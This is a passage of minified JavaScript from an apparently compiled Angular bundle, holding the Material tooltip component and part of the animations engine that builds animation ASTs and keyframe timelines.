le{constructor(ze,De,re,ve,We,xt,Be,pe,P,w,R,X){super(ze,De,re,ve,We,xt,Be,pe,P,w,R,X),this._tooltipComponent=Ye}}return dt.\\u0275fac=function(ze){return new(ze||dt)(u.Y36(n.aV),u.Y36(u.SBq),u.Y36(f.mF),u.Y36(u.s_b),u.Y36(u.R0b),u.Y36(C.t4),u.Y36(a.$s),u.Y36(a.tE),u.Y36(q),u.Y36(E.Is,8),u.Y36(je,8),u.Y36(s.K0))},dt.\\u0275dir=u.lG2({type:dt,selectors:[["","matTooltip",""]],hostAttrs:[1,"mat-tooltip-trigger"],exportAs:["matTooltip"],features:[u.qOj]}),dt})(),Qe=(()=>{class dt{constructor(ze,De){this._changeDetectorRef=ze,this._closeOnInteraction=!1,this._isVisible=!1,this._onHide=new H.xQ,this._animationsDisabled="NoopAnimations"===De}show(ze){clearTimeout(this._hideTimeoutId),this._showTimeoutId=setTimeout(()=>{this._toggleVisibility(!0),this._showTimeoutId=void 0},ze)}hide(ze){clearTimeout(this._showTimeoutId),this._hideTimeoutId=setTimeout(()=>{this._toggleVisibility(!1),this._hideTimeoutId=void 0},ze)}afterHidden(){return this._onHide}isVisible(){return this._isVisible}ngOnDestroy(){this._cancelPendingAnimations(),this._onHide.complete(),this._triggerElement=null}_handleBodyInteraction(){this._closeOnInteraction&&this.hide(0)}_markForCheck(){this._changeDetectorRef.markForCheck()}_handleMouseLeave({relatedTarget:ze}){(!ze||!this._triggerElement.contains(ze))&&(this.isVisible()?this.hide(this._mouseLeaveHideDelay):this._finalizeAnimation(!1))}_onShow(){}_handleAnimationEnd({animationName:ze}){(ze===this._showAnimation||ze===this._hideAnimation)&&this._finalizeAnimation(ze===this._showAnimation)}_cancelPendingAnimations(){clearTimeout(this._showTimeoutId),clearTimeout(this._hideTimeoutId),this._showTimeoutId=this._hideTimeoutId=void 0}_finalizeAnimation(ze){ze?this._closeOnInteraction=!0:this.isVisible()||this._onHide.next()}_toggleVisibility(ze){const De=this._tooltip.nativeElement,re=this._showAnimation,ve=this._hideAnimation;if(De.classList.remove(ze?ve:re),De.classList.add(ze?re:ve),this._isVisible=ze,ze&&!this._animationsDisabled&&"function"==typeof getComputedStyle){const We=getComputedStyle(De);("0s"===We.getPropertyValue("animation-duration")||"none"===We.getPropertyValue("animation-name"))&&(this._animationsDisabled=!0)}ze&&this._onShow(),this._animationsDisabled&&(De.classList.add("_mat-animation-noopable"),this._finalizeAnimation(ze))}}return dt.\\u0275fac=function(ze){return new(ze||dt)(u.Y36(u.sBO),u.Y36(u.QbO,8))},dt.\\u0275dir=u.lG2({type:dt}),dt})(),Ye=(()=>{class dt extends Qe{constructor(ze,De,re){super(ze,re),this._breakpointObserver=De,this._isHandset=this._breakpointObserver.observe(g.u3.Handset),this._showAnimation="mat-tooltip-show",this._hideAnimation="mat-tooltip-hide"}}return dt.\\u0275fac=function(ze){return new(ze||dt)(u.Y36(u.sBO),u.Y36(g.Yg),u.Y36(u.QbO,8))},dt.\\u0275cmp=u.Xpm({type:dt,selectors:[["mat-tooltip-component"]],viewQuery:function(ze,De){if(1&ze&&u.Gf(Q,7),2&ze){let re;u.iGM(re=u.CRH())&&(De._tooltip=re.first)}},hostAttrs:["aria-hidden","true"],hostVars:2,hostBindings:function(ze,De){1&ze&&u.NdJ("mouseleave",function(ve){return De._handleMouseLeave(ve)}),2&ze&&u.Udp("zoom",De.isVisible()?1:null)},features:[u.qOj],decls:4,vars:6,consts:[[1,"mat-tooltip",3,"ngClass","animationend"],["tooltip",""]],template:function(ze,De){if(1&ze&&(u.TgZ(0,"div",0,1),u.NdJ("animationend",function(ve){return De._handleAnimationEnd(ve)}),u.ALo(2,"async"),u._uU(3),u.qZA()),2&ze){let re;u.ekj("mat-tooltip-handset",null==(re=u.lcZ(2,4,De._isHandset))?null:re.matches),u.Q6J("ngClass",De.tooltipClass),u.xp6(3),u.Oqu(De.message)}},dependencies:[s.mk,s.Ov],styles:[".mat-tooltip{color:#fff;border-radius:4px;margin:14px;max-width:250px;padding-left:8px;padding-right:8px;overflow:hidden;text-overflow:ellipsis;transform:scale(0)}.mat-tooltip._mat-animation-noopable{animation:none;transform:scale(1)}.cdk-high-contrast-active .mat-tooltip{outline:solid 1px}.mat-tooltip-handset{margin:24px;padding-left:16px;padding-right:16px}.mat-tooltip-panel-non-interactive{pointer-events:none}@keyframes mat-tooltip-show{0%{opacity:0;transform:scale(0)}50%{opacity:.5;transform:scale(0.99)}100%{opacity:1;transform:scale(1)}}@keyframes mat-tooltip-hide{0%{opacity:1;transform:scale(1)}100%{opacity:0;transform:scale(1)}}.mat-tooltip-show{animation:mat-tooltip-show 200ms cubic-bezier(0, 0, 0.2, 1) forwards}.mat-tooltip-hide{animation:mat-tooltip-hide 100ms cubic-bezier(0, 0, 0.2, 1) forwards}"],encapsulation:2,changeDetection:0}),dt})(),qe=(()=>{class dt{}return dt.\\u0275fac=function(ze){return new(ze||dt)},dt.\\u0275mod=u.oAB({type:dt}),dt.\\u0275inj=u.cJS({providers:[ce],imports:[a.rt,s.ez,n.U8,c.BQ,c.BQ,f.ZD]}),dt})()},8746:(At,ae,d)=>{"use strict";d.d(ae,{PW:()=>Yn});var n=d(4650),a=d(1481),s=d(7340);function c(Te){return new n.vHH(3e3,!1)}function xt(){return typeof window<"u"&&typeof window.document<"u"}function Be(){return typeof process<"u"&&"[object process]"==={}.toString.call(process)}function pe(Te){switch(Te.length){case 0:return new s.ZN;case 1:return Te[0];default:return new s.ZE(Te)}}function P(Te,y,D,Z,Le=new Map,rt=new Map){const yt=[],Mt=[];let Ft=-1,Ut=null;if(Z.forEach(o1=>{const l1=o1.get("offset"),F1=l1==Ft,A1=F1&&Ut||new Map;o1.forEach((C1,S1)=>{let Q1=S1,tn=C1;if("offset"!==S1)switch(Q1=y.normalizePropertyName(Q1,yt),tn){case s.k1:tn=Le.get(S1);break;case s.l3:tn=rt.get(S1);break;default:tn=y.normalizeStyleValue(S1,Q1,tn,yt)}A1.set(Q1,tn)}),F1||Mt.push(A1),Ut=A1,Ft=l1}),yt.length)throw function le(Te){return new n.vHH(3502,!1)}();return Mt}function w(Te,y,D,Z){switch(y){case"start":Te.onStart(()=>Z(D&&R(D,"start",Te)));break;case"done":Te.onDone(()=>Z(D&&R(D,"done",Te)));break;case"destroy":Te.onDestroy(()=>Z(D&&R(D,"destroy",Te)))}}function R(Te,y,D){const rt=X(Te.element,Te.triggerName,Te.fromState,Te.toState,y||Te.phaseName,D.totalTime??Te.totalTime,!!D.disabled),yt=Te._data;return null!=yt&&(rt._data=yt),rt}function X(Te,y,D,Z,Le="",rt=0,yt){return{element:Te,triggerName:y,fromState:D,toState:Z,phaseName:Le,totalTime:rt,disabled:!!yt}}function _e(Te,y,D){let Z=Te.get(y);return Z||Te.set(y,Z=D),Z}function ct(Te){const y=Te.indexOf(":");return[Te.substring(1,y),Te.slice(y+1)]}let Je=(Te,y)=>!1,Et=(Te,y,D)=>[],Dt=null;function Pt(Te){const y=Te.parentNode||Te.host;return y===Dt?null:y}(Be()||typeof Element<"u")&&(xt()?(Dt=(()=>document.documentElement)(),Je=(Te,y)=>{for(;y;){if(y===Te)return!0;y=Pt(y)}return!1}):Je=(Te,y)=>Te.contains(y),Et=(Te,y,D)=>{if(D)return Array.from(Te.querySelectorAll(y));const Z=Te.querySelector(y);return Z?[Z]:[]});let x=null,m=!1;const Xe=Je,it=Et;let Vt=(()=>{class Te{validateStyleProperty(D){return function b(Te){x||(x=function ie(){return typeof document<"u"?document.body:null}()||{},m=!!x.style&&"WebkitAppearance"in x.style);let y=!0;return x.style&&!function te(Te){return"ebkit"==Te.substring(1,6)}(Te)&&(y=Te in x.style,!y&&m&&(y="Webkit"+Te.charAt(0).toUpperCase()+Te.slice(1)in x.style)),y}(D)}matchesElement(D,Z){return!1}containsElement(D,Z){return Xe(D,Z)}getParentElement(D){return Pt(D)}query(D,Z,Le){return it(D,Z,Le)}computeStyle(D,Z,Le){return Le||""}animate(D,Z,Le,rt,yt,Mt=[],Ft){return new s.ZN(Le,rt)}}return Te.\\u0275fac=function(D){return new(D||Te)},Te.\\u0275prov=n.Yz7({token:Te,factory:Te.\\u0275fac}),Te})(),Gt=(()=>{class Te{}return Te.NOOP=new Vt,Te})();const qt=1e3,It="ng-enter",_t="ng-leave",kt="ng-trigger",Fe=".ng-trigger",be="ng-animating",Pe=".ng-animating";function Re(Te){if("number"==typeof Te)return Te;const y=Te.match(/^(-?[\\.\\d]+)(m?s)/);return!y||y.length<2?0:Ue(parseFloat(y[1]),y[2])}function Ue(Te,y){return"s"===y?Te*qt:Te}function xe(Te,y,D){return Te.hasOwnProperty("duration")?Te:function J(Te,y,D){let Le,rt=0,yt="";if("string"==typeof Te){const Mt=Te.match(/^(-?[\\.\\d]+)(m?s)(?:\\s+(-?[\\.\\d]+)(m?s))?(?:\\s+([-a-z]+(?:\\(.+?\\))?))?$/i);if(null===Mt)return y.push(c()),{duration:0,delay:0,easing:""};Le=Ue(parseFloat(Mt[1]),Mt[2]);const Ft=Mt[3];null!=Ft&&(rt=Ue(parseFloat(Ft),Mt[4]));const Ut=Mt[5];Ut&&(yt=Ut)}else Le=Te;if(!D){let Mt=!1,Ft=y.length;Le<0&&(y.push(function f(){return new n.vHH(3100,!1)}()),Mt=!0),rt<0&&(y.push(function E(){return new n.vHH(3101,!1)}()),Mt=!0),Mt&&y.splice(Ft,0,c())}return{duration:Le,delay:rt,easing:yt}}(Te,y,D)}function Ae(Te,y={}){return Object.keys(Te).forEach(D=>{y[D]=Te[D]}),y}function mt(Te){const y=new Map;return Object.keys(Te).forEach(D=>{y.set(D,Te[D])}),y}function pt(Te,y=new Map,D){if(D)for(let[Z,Le]of D)y.set(Z,Le);for(let[Z,Le]of Te)y.set(Z,Le);return y}function nt(Te,y,D){return D?y+":"+D+";":""}function fe(Te){let y="";for(let D=0;D<Te.style.length;D++){const Z=Te.style.item(D);y+=nt(0,Z,Te.style.getPropertyValue(Z))}for(const D in Te.style)Te.style.hasOwnProperty(D)&&!D.startsWith("_")&&(y+=nt(0,G1(D),Te.style[D]));Te.setAttribute("style",y)}function Ee(Te,y,D){Te.style&&(y.forEach((Z,Le)=>{const rt=_1(Le);D&&!D.has(Le)&&D.set(Le,Te.style[rt]),Te.style[rt]=Z}),Be()&&fe(Te))}function at(Te,y){Te.style&&(y.forEach((D,Z)=>{const Le=_1(Z);Te.style[Le]=""}),Be()&&fe(Te))}function Se(Te){return Array.isArray(Te)?1==Te.length?Te[0]:(0,s.vP)(Te):Te}const Ne=new RegExp("{{\\\\s*(.+?)\\\\s*}}","g");function ut(Te){let y=[];if("string"==typeof Te){let D;for(;D=Ne.exec(Te);)y.push(D[1]);Ne.lastIndex=0}return y}function Rt(Te,y,D){const Z=Te.toString(),Le=Z.replace(Ne,(rt,yt)=>{let Mt=y[yt];return null==Mt&&(D.push(function S(Te){return new n.vHH(3003,!1)}()),Mt=""),Mt.toString()});return Le==Z?Te:Le}function Zt(Te){const y=[];let D=Te.next();for(;!D.done;)y.push(D.value),D=Te.next();return y}const a1=/-+([a-z0-9])/g;function _1(Te){return Te.replace(a1,(...y)=>y[1].toUpperCase())}function G1(Te){return Te.replace(/([a-z])([A-Z])/g,"$1-$2").toLowerCase()}function P1(Te,y,D){switch(y.type){case 7:return Te.visitTrigger(y,D);case 0:return Te.visitState(y,D);case 1:return Te.visitTransition(y,D);case 2:return Te.visitSequence(y,D);case 3:return Te.visitGroup(y,D);case 4:return Te.visitAnimate(y,D);case 5:return Te.visitKeyframes(y,D);case 6:return Te.visitStyle(y,D);case 8:return Te.visitReference(y,D);case 9:return Te.visitAnimateChild(y,D);case 10:return Te.visitAnimateRef(y,D);case 11:return Te.visitQuery(y,D);case 12:return Te.visitStagger(y,D);default:throw function g(Te){return new n.vHH(3004,!1)}()}}function on(Te,y){return window.getComputedStyle(Te)[y]}const ke="*";function lt(Te,y){const D=[];return"string"==typeof Te?Te.split(/\\s*,\\s*/).forEach(Z=>function Wt(Te,y,D){if(":"==Te[0]){const Ft=function p1(Te,y){switch(Te){case":enter":return"void => *";case":leave":return"* => void";case":increment":return(D,Z)=>parseFloat(Z)>parseFloat(D);case":decrement":return(D,Z)=>parseFloat(Z)<parseFloat(D);default:return y.push(function we(Te){return new n.vHH(3016,!1)}()),"* => *"}}(Te,D);if("function"==typeof Ft)return void y.push(Ft);Te=Ft}const Z=Te.match(/^(\\*|[-\\w]+)\\s*(<?[=-]>)\\s*(\\*|[-\\w]+)$/);if(null==Z||Z.length<4)return D.push(function q(Te){return new n.vHH(3015,!1)}()),y;const Le=Z[1],rt=Z[2],yt=Z[3];y.push(h1(Le,yt));"<"==rt[0]&&!(Le==ke&&yt==ke)&&y.push(h1(yt,Le))}(Z,D,y)):D.push(Te),D}const w1=new Set(["true","1"]),Qt=new Set(["false","0"]);function h1(Te,y){const D=w1.has(Te)||Qt.has(Te),Z=w1.has(y)||Qt.has(y);return(Le,rt)=>{let yt=Te==ke||Te==Le,Mt=y==ke||y==rt;return!yt&&D&&"boolean"==typeof Le&&(yt=Le?w1.has(Te):Qt.has(Te)),!Mt&&Z&&"boolean"==typeof rt&&(Mt=rt?w1.has(y):Qt.has(y)),yt&&Mt}}const Y1=new RegExp("s*:selfs*,?","g");function T1(Te,y,D,Z){return new vn(Te).build(y,D,Z)}class vn{constructor(y){this._driver=y}build(y,D,Z){const Le=new Gn(D);return this._resetContextStyleTimingState(Le),P1(this,Se(y),Le)}_resetContextStyleTimingState(y){y.currentQuerySelector="",y.collectedStyles=new Map,y.collectedStyles.set("",new Map),y.currentTime=0}visitTrigger(y,D){let Z=D.queryCount=0,Le=D.depCount=0;const rt=[],yt=[];return"@"==y.name.charAt(0)&&D.errors.push(function z(){return new n.vHH(3006,!1)}()),y.definitions.forEach(Mt=>{if(this._resetContextStyleTimingState(D),0==Mt.type){const Ft=Mt,Ut=Ft.name;Ut.toString().split(/\\s*,\\s*/).forEach(o1=>{Ft.name=o1,rt.push(this.visitState(Ft,D))}),Ft.name=Ut}else if(1==Mt.type){const Ft=this.visitTransition(Mt,D);Z+=Ft.queryCount,Le+=Ft.depCount,yt.push(Ft)}else D.errors.push(function H(){return new n.vHH(3007,!1)}())}),{type:7,name:y.name,states:rt,transitions:yt,queryCount:Z,depCount:Le,options:null}}visitState(y,D){const Z=this.visitStyle(y.styles,D),Le=y.options&&y.options.params||null;if(Z.containsDynamicStyles){const rt=new Set,yt=Le||{};Z.styles.forEach(Mt=>{Mt instanceof Map&&Mt.forEach(Ft=>{ut(Ft).forEach(Ut=>{yt.hasOwnProperty(Ut)||rt.add(Ut)})})}),rt.size&&(Zt(rt.values()),D.errors.push(function j(Te,y){return new n.vHH(3008,!1)}()))}return{type:0,name:y.name,style:Z,options:Le?{params:Le}:null}}visitTransition(y,D){D.queryCount=0,D.depCount=0;const Z=P1(this,Se(y.animation),D);return{type:1,matchers:lt(y.expr,D.errors),animation:Z,queryCount:D.queryCount,depCount:D.depCount,options:fn(y.options)}}visitSequence(y,D){return{type:2,steps:y.steps.map(Z=>P1(this,Z,D)),options:fn(y.options)}}visitGroup(y,D){const Z=D.currentTime;let Le=0;const rt=y.steps.map(yt=>{D.currentTime=Z;const Mt=P1(this,yt,D);return Le=Math.max(Le,D.currentTime),Mt});return D.currentTime=Le,{type:3,steps:rt,options:fn(y.options)}}visitAnimate(y,D){const Z=function ci(Te,y){if(Te.hasOwnProperty("duration"))return Te;if("number"==typeof Te)return Rn(xe(Te,y).duration,0,"");const D=Te;if(D.split(/\\s+/).some(rt=>"{"==rt.charAt(0)&&"{"==rt.charAt(1))){const rt=Rn(0,0,"");return rt.dynamic=!0,rt.strValue=D,rt}const Le=xe(D,y);return Rn(Le.duration,Le.delay,Le.easing)}(y.timings,D.errors);D.currentAnimateTimings=Z;let Le,rt=y.styles?y.styles:(0,s.oB)({});if(5==rt.type)Le=this.visitKeyframes(rt,D);else{let yt=y.styles,Mt=!1;if(!yt){Mt=!0;const Ut={};Z.easing&&(Ut.easing=Z.easing),yt=(0,s.oB)(Ut)}D.currentTime+=Z.duration+Z.delay;const Ft=this.visitStyle(yt,D);Ft.isEmptyStep=Mt,Le=Ft}return D.currentAnimateTimings=null,{type:4,timings:Z,style:Le,options:null}}visitStyle(y,D){const Z=this._makeStyleAst(y,D);return this._validateStyleAst(Z,D),Z}_makeStyleAst(y,D){const Z=[],Le=Array.isArray(y.styles)?y.styles:[y.styles];for(let Mt of Le)"string"==typeof Mt?Mt===s.l3?Z.push(Mt):D.errors.push(new n.vHH(3002,!1)):Z.push(mt(Mt));let rt=!1,yt=null;return Z.forEach(Mt=>{if(Mt instanceof Map&&(Mt.has("easing")&&(yt=Mt.get("easing"),Mt.delete("easing")),!rt))for(let Ft of Mt.values())if(Ft.toString().indexOf("{{")>=0){rt=!0;break}}),{type:6,styles:Z,easing:yt,offset:y.offset,containsDynamicStyles:rt,options:null}}_validateStyleAst(y,D){const Z=D.currentAnimateTimings;let Le=D.currentTime,rt=D.currentTime;Z&&rt>0&&(rt-=Z.duration+Z.delay),y.styles.forEach(yt=>{"string"!=typeof yt&&yt.forEach((Mt,Ft)=>{const Ut=D.collectedStyles.get(D.currentQuerySelector),o1=Ut.get(Ft);let l1=!0;o1&&(rt!=Le&&rt>=o1.startTime&&Le<=o1.endTime&&(D.errors.push(function Q(Te,y,D,Z,Le){return new n.vHH(3010,!1)}()),l1=!1),rt=o1.startTime),l1&&Ut.set(Ft,{startTime:rt,endTime:Le}),D.options&&function ot(Te,y,D){const Z=y.params||{},Le=ut(Te);Le.length&&Le.forEach(rt=>{Z.hasOwnProperty(rt)||D.push(function _(Te){return new n.vHH(3001,!1)}())})}(Mt,D.options,D.errors)})})}visitKeyframes(y,D){const Z={type:5,styles:[],options:null};if(!D.currentAnimateTimings)return D.errors.push(function oe(){return new n.vHH(3011,!1)}()),Z;let rt=0;const yt=[];let Mt=!1,Ft=!1,Ut=0;const o1=y.steps.map(tn=>{const Tn=this._makeStyleAst(tn,D);let En=null!=Tn.offset?Tn.offset:function D1(Te){if("string"==typeof Te)return null;let y=null;if(Array.isArray(Te))Te.forEach(D=>{if(D instanceof Map&&D.has("offset")){const Z=D;y=parseFloat(Z.get("offset")),Z.delete("offset")}});else if(Te instanceof Map&&Te.has("offset")){const D=Te;y=parseFloat(D.get("offset")),D.delete("offset")}return y}(Tn.styles),wn=0;return null!=En&&(rt++,wn=Tn.offset=En),Ft=Ft||wn<0||wn>1,Mt=Mt||wn<Ut,Ut=wn,yt.push(wn),Tn});Ft&&D.errors.push(function Ce(){return new n.vHH(3012,!1)}()),Mt&&D.errors.push(function k(){return new n.vHH(3200,!1)}());const l1=y.steps.length;let F1=0;rt>0&&rt<l1?D.errors.push(function K(){return new n.vHH(3202,!1)}()):0==rt&&(F1=1/(l1-1));const A1=l1-1,C1=D.currentTime,S1=D.currentAnimateTimings,Q1=S1.duration;return o1.forEach((tn,Tn)=>{const En=F1>0?Tn==A1?1:F1*Tn:yt[Tn],wn=En*Q1;D.currentTime=C1+S1.delay+wn,S1.duration=wn,this._validateStyleAst(tn,D),tn.offset=En,Z.styles.push(tn)}),Z}visitReference(y,D){return{type:8,animation:P1(this,Se(y.animation),D),options:fn(y.options)}}visitAnimateChild(y,D){return D.depCount++,{type:9,options:fn(y.options)}}visitAnimateRef(y,D){return{type:10,animation:this.visitReference(y.animation,D),options:fn(y.options)}}visitQuery(y,D){const Z=D.currentQuerySelector,Le=y.options||{};D.queryCount++,D.currentQuery=y;const[rt,yt]=function E1(Te){const y=!!Te.split(/\\s*,\\s*/).find(D=>":self"==D);return y&&(Te=Te.replace(Y1,"")),Te=Te.replace(/@\\*/g,Fe).replace(/@\\w+/g,D=>Fe+"-"+D.slice(1)).replace(/:animating/g,Pe),[Te,y]}(y.selector);D.currentQuerySelector=Z.length?Z+" "+rt:rt,_e(D.collectedStyles,D.currentQuerySelector,new Map);const Mt=P1(this,Se(y.animation),D);return D.currentQuery=null,D.currentQuerySelector=Z,{type:11,selector:rt,limit:Le.limit||0,optional:!!Le.optional,includeSelf:yt,animation:Mt,originalSelector:y.selector,options:fn(y.options)}}visitStagger(y,D){D.currentQuery||D.errors.push(function se(){return new n.vHH(3013,!1)}());const Z="full"===y.timings?{duration:0,delay:0,easing:"full"}:xe(y.timings,D.errors,!0);return{type:12,animation:P1(this,Se(y.animation),D),timings:Z,options:null}}}class Gn{constructor(y){this.errors=y,this.queryCount=0,this.depCount=0,this.currentTransition=null,this.currentQuery=null,this.currentQuerySelector=null,this.currentAnimateTimings=null,this.currentTime=0,this.collectedStyles=new Map,this.options=null,this.unsupportedCSSPropertiesFound=new Set}}function fn(Te){return Te?(Te=Ae(Te)).params&&(Te.params=function In(Te){return Te?Ae(Te):null}(Te.params)):Te={},Te}function Rn(Te,y,D){return{duration:Te,delay:y,easing:D}}function cn(Te,y,D,Z,Le,rt,yt=null,Mt=!1){return{type:1,element:Te,keyframes:y,preStyleProps:D,postStyleProps:Z,duration:Le,delay:rt,totalTime:Le+rt,easing:yt,subTimeline:Mt}}class X1{constructor(){this._map=new Map}get(y){return this._map.get(y)||[]}append(y,D){let Z=this._map.get(y);Z||this._map.set(y,Z=[]),Z.push(...D)}has(y){return this._map.has(y)}clear(){this._map.clear()}}const An=new RegExp(":enter","g"),li=new RegExp(":leave","g");function L1(Te,y,D,Z,Le,rt=new Map,yt=new Map,Mt,Ft,Ut=[]){return(new Cn).buildKeyframes(Te,y,D,Z,Le,rt,yt,Mt,Ft,Ut)}class Cn{buildKeyframes(y,D,Z,Le,rt,yt,Mt,Ft,Ut,o1=[]){Ut=Ut||new X1;const l1=new di(y,D,Ut,Le,rt,o1,[]);l1.options=Ft;const F1=Ft.delay?Re(Ft.delay):0;l1.currentTimeline.delayNextStep(F1),l1.currentTimeline.setStyles([yt],null,l1.errors,Ft),P1(this,Z,l1);const A1=l1.timelines.filter(C1=>C1.containsAnimation());if(A1.length&&Mt.size){let C1;for(let S1=A1.length-1;S1>=0;S1--){const Q1=A1[S1];if(Q1.element===D){C1=Q1;break}}C1&&!C1.allowOnlyTimelineStyles()&&C1.setStyles([Mt],null,l1.errors,Ft)}return A1.length?A1.map(C1=>C1.buildKeyframes()):[cn(D,[],[],[],0,F1,"",!1)]}visitTrigger(y,D){}visitState(y,D){}visitTransition(y,D){}visitAnimateChild(y,D){const Z=D.subInstructions.get(D.element);if(Z){const Le=D.createSubContext(y.options),rt=D.currentTimeline.currentTime,yt=this._visitSubInstructions(Z,Le,Le.options);rt!=yt&&D.transformIntoNewTimeline(yt)}D.previousNode=y}visitAnimateRef(y,D){const Z=D.createSubContext(y.options);Z.transformIntoNewTimeline(),this._applyAnimationRefDelays([y.options,y.animation.options],D,Z),this.visitReference(y.animation,Z),D.transformIntoNewTimeline(Z.currentTimeline.currentTime),D.previousNode=y}_applyAnimationRefDelays(y,D,Z){for(const Le of y){const rt=Le?.delay;if(rt){const yt="number"==typeof rt?rt:Re(Rt(rt,Le?.params??{},D.errors));Z.delayNextStep(yt)}}}_visitSubInstructions(y,D,Z){let rt=D.currentTimeline.currentTime;const yt=null!=Z.duration?Re(Z.duration):null,Mt=null!=Z.delay?Re(Z.delay):null;return 0!==yt&&y.forEach(Ft=>{const Ut=D.appendInstructionToTimeline(Ft,yt,Mt);rt=Math.max(rt,Ut.duration+Ut.delay)}),rt}visitReference(y,D){D.updateOptions(y.options,!0),P1(this,y.animation,D),D.previousNode=y}visitSequence(y,D){const Z=D.subContextCount;let Le=D;const rt=y.options;if(rt&&(rt.params||rt.delay)&&(Le=D.createSubContext(rt),Le.transformIntoNewTimeline(),null!=rt.delay)){6==Le.previousNode.type&&(Le.currentTimeline.snapshotCurrentStyles(),Le.previousNode=Mn);const yt=Re(rt.delay);Le.delayNextStep(yt)}y.steps.length&&(y.steps.forEach(yt=>P1(this,yt,Le)),Le.currentTimeline.applyStylesToKeyframe(),Le.subContextCount>Z&&Le.transformIntoNewTimeline()),D.previousNode=y}visitGroup(y,D){const Z=[];let Le=D.currentTimeline.currentTime;const rt=y.options&&y.options.delay?Re(y.options.delay):0;y.steps.forEach(yt=>{const Mt=D.createSubContext(y.options);rt&&Mt.delayNextStep(rt),P1(this,yt,Mt),Le=Math.max(Le,Mt.currentTimeline.currentTime),Z.push(Mt.currentTimeline)}),Z.forEach(yt=>D.currentTimeline.mergeTimelineCollectedStyles(yt)),D.transformIntoNewTimeline(Le),D.previousNode=y}_visitTiming(y,D){if(y.dynamic){const Z=y.strValue;return xe(D.params?Rt(Z,D.params,D.errors):Z,D.errors)}return{duration:y.duration,delay:y.delay,easing:y.easing}}visitAnimate(y,D){const Z=D.currentAnimateTimings=this._visitTiming(y.timings,D),Le=D.currentTimeline;Z.delay&&(D.incrementTime(Z.delay),Le.snapshotCurrentStyles());const rt=y.style;5==rt.type?this.visitKeyframes(rt,D):(D.incrementTime(Z.duration),this.visitStyle(rt,D),Le.applyStylesToKeyframe()),D.currentAnimateTimings=null,D.previousNode=y}visitStyle(y,D){const Z=D.currentTimeline,Le=D.currentAnimateTimings;!Le&&Z.hasCurrentStyleProperties()&&Z.forwardFrame();const rt=Le&&Le.easing||y.easing;y.isEmptyStep?Z.applyEmptyStep(rt):Z.setStyles(y.styles,rt,D.errors,D.options),D.previousNode=y}visitKeyframes(y,D){const Z=D.currentAnimateTimings,Le=D.currentTimeline.duration,rt=Z.duration,Mt=D.createSubContext().currentTimeline;Mt.easing=Z.easing,y.styles.forEach(Ft=>{Mt.forwardTime((Ft.offset||0)*rt),Mt.setStyles(Ft.styles,Ft.easing,D.errors,D.options),Mt.applyStylesToKeyframe()}),D.currentTimeline.mergeTimelineCollectedStyles(Mt),D.transformIntoNewTimeline(Le+rt),D.previousNode=y}visitQuery(y,D){const Z=D.currentTimeline.currentTime,Le=y.options||{},rt=Le.delay?Re(Le.delay):0;rt&&(6===D.previousNode.type||0==Z&&D.currentTimeline.hasCurrentStyleProperties())&&(D.currentTimeline.snapshotCurrentStyles(),D.previousNode=Mn);let yt=Z;const Mt=D.invokeQuery(y.selector,y.originalSelector,y.limit,y.includeSelf,!!Le.optional,D.errors);D.currentQueryTotal=Mt.length;let Ft=null;Mt.forEach((Ut,o1)=>{D.currentQueryIndex=o1;const l1=D.createSubContext(y.options,Ut);rt&&l1.delayNextStep(rt),Ut===D.element&&(Ft=l1.currentTimeline),P1(this,y.animation,l1),l1.currentTimeline.applyStylesToKeyframe(),yt=Math.max(yt,l1.currentTimeline.currentTime)}),D.currentQueryIndex=0,D.currentQueryTotal=0,D.transformIntoNewTimeline(yt),Ft&&(D.currentTimeline.mergeTimelineCollectedStyles(Ft),D.currentTimeline.snapshotCurrentStyles()),D.previousNode=y}visitStagger(y,D){const Z=D.parentContext,Le=D.currentTimeline,rt=y.timings,yt=Math.abs(rt.duration),Mt=yt*(D.currentQueryTotal-1);let Ft=yt*D.currentQueryIndex;switch(rt.duration<0?"reverse":rt.easing){case"reverse":Ft=Mt-Ft;break;case"full":Ft=Z.currentStaggerTime}const o1=D.currentTimeline;Ft&&o1.delayNextStep(Ft);const l1=o1.currentTime;P1(this,y.animation,D),D.previousNode=y,Z.currentStaggerTime=Le.currentTime-l1+(Le.startTime-Z.currentTimeline.startTime)}}const Mn={};class di{constructor(y,D,Z,Le,rt,yt,Mt,Ft){this._driver=y,this.element=D,this.subInstructions=Z,this._enterClassName=Le,this._leaveClassName=rt,this.errors=yt,this.timelines=Mt,this.parentContext=null,this.currentAnimateTimings=null,this.previousNode=Mn,this.subContextCount=0,this.options={},this.currentQueryIndex=0,this.currentQueryTotal=0,this.currentStaggerTime=0,this.currentTimeline=Ft||new ri(this._driver,D,0),Mt.push(this.currentTimeline)}get params(){return this.options.params}updateOptions(y,D){if(!y)return;const Z=y;let Le=this.options;null!=Z.duration&&(Le.duration=Re(Z.duration)),null!=Z.delay&&(Le.delay=Re(Z.delay));const rt=Z.params;if(rt){let yt=Le.params;yt||(yt=this.options.params={}),Object.keys(rt).forEach(Mt=>{(!D||!yt.hasOwnProperty(Mt))&&(yt[Mt]=Rt(rt[Mt],yt,this.errors))})}}_copyOptions(){const y={};if(this.options){const D=this.options.params;if(D){const Z=y.params={};Object.keys(D).forEach(Le=>{Z[Le]=D[Le]})}}return y}createSubContext(y=null,D,Z){const Le=D||this.element,rt=new di(this._driver,Le,this.subInstructions,this._enterClassName,this._leaveClassName,this.errors,this.timelines,this.currentTimeline.fork(Le,Z||0));return rt.previousNode=this.previousNode,rt.currentAnimateTimings=this.currentAnimateTimings,rt.options=this._copyOptions(),rt.updateOptions(y),rt.currentQueryIndex=this.currentQueryIndex,rt.currentQueryTotal=this.currentQueryTotal,rt.parentContext=this,this.subContextCount++,rt}transformIntoNewTimeline(y){return this.previousNode=Mn,this.currentTimeline=this.currentTimeline.fork(this.element,y),this.timelines.push(this.currentTimeline),this.currentTimeline}appendInstructionToTimeline(y,D,Z){const Le={duration:D??y.duration,delay:this.currentTimeline.currentTime+(Z??0)+y.delay,easing:""},rt=new _i(this._driver,y.element,y.keyframes,y.preStyleProps,y.postStyleProps,Le,y.stretchStartingKeyframe);return this.timelines.push(rt),Le}incrementTime(y){this.currentTimeline.forwardTime(this.currentTimeline.duration+y)}delayNextStep(y){y>0&&this.currentTimeline.delayNextStep(y)}invokeQuery(y,D,Z,Le,rt,yt){let Mt=[];if(Le&&Mt.push(this.element),y.length>0){y=(y=y.replace(An,"."+this._enterClassName)).replace(li,"."+this._leaveClassName);let Ut=this._driver.query(this.element,y,1!=Z);0!==Z&&(Ut=Z<0?Ut.slice(Ut.length+Z,Ut.length):Ut.slice(0,Z)),Mt.push(...Ut)}return!rt&&0==Mt.length&&yt.push(function 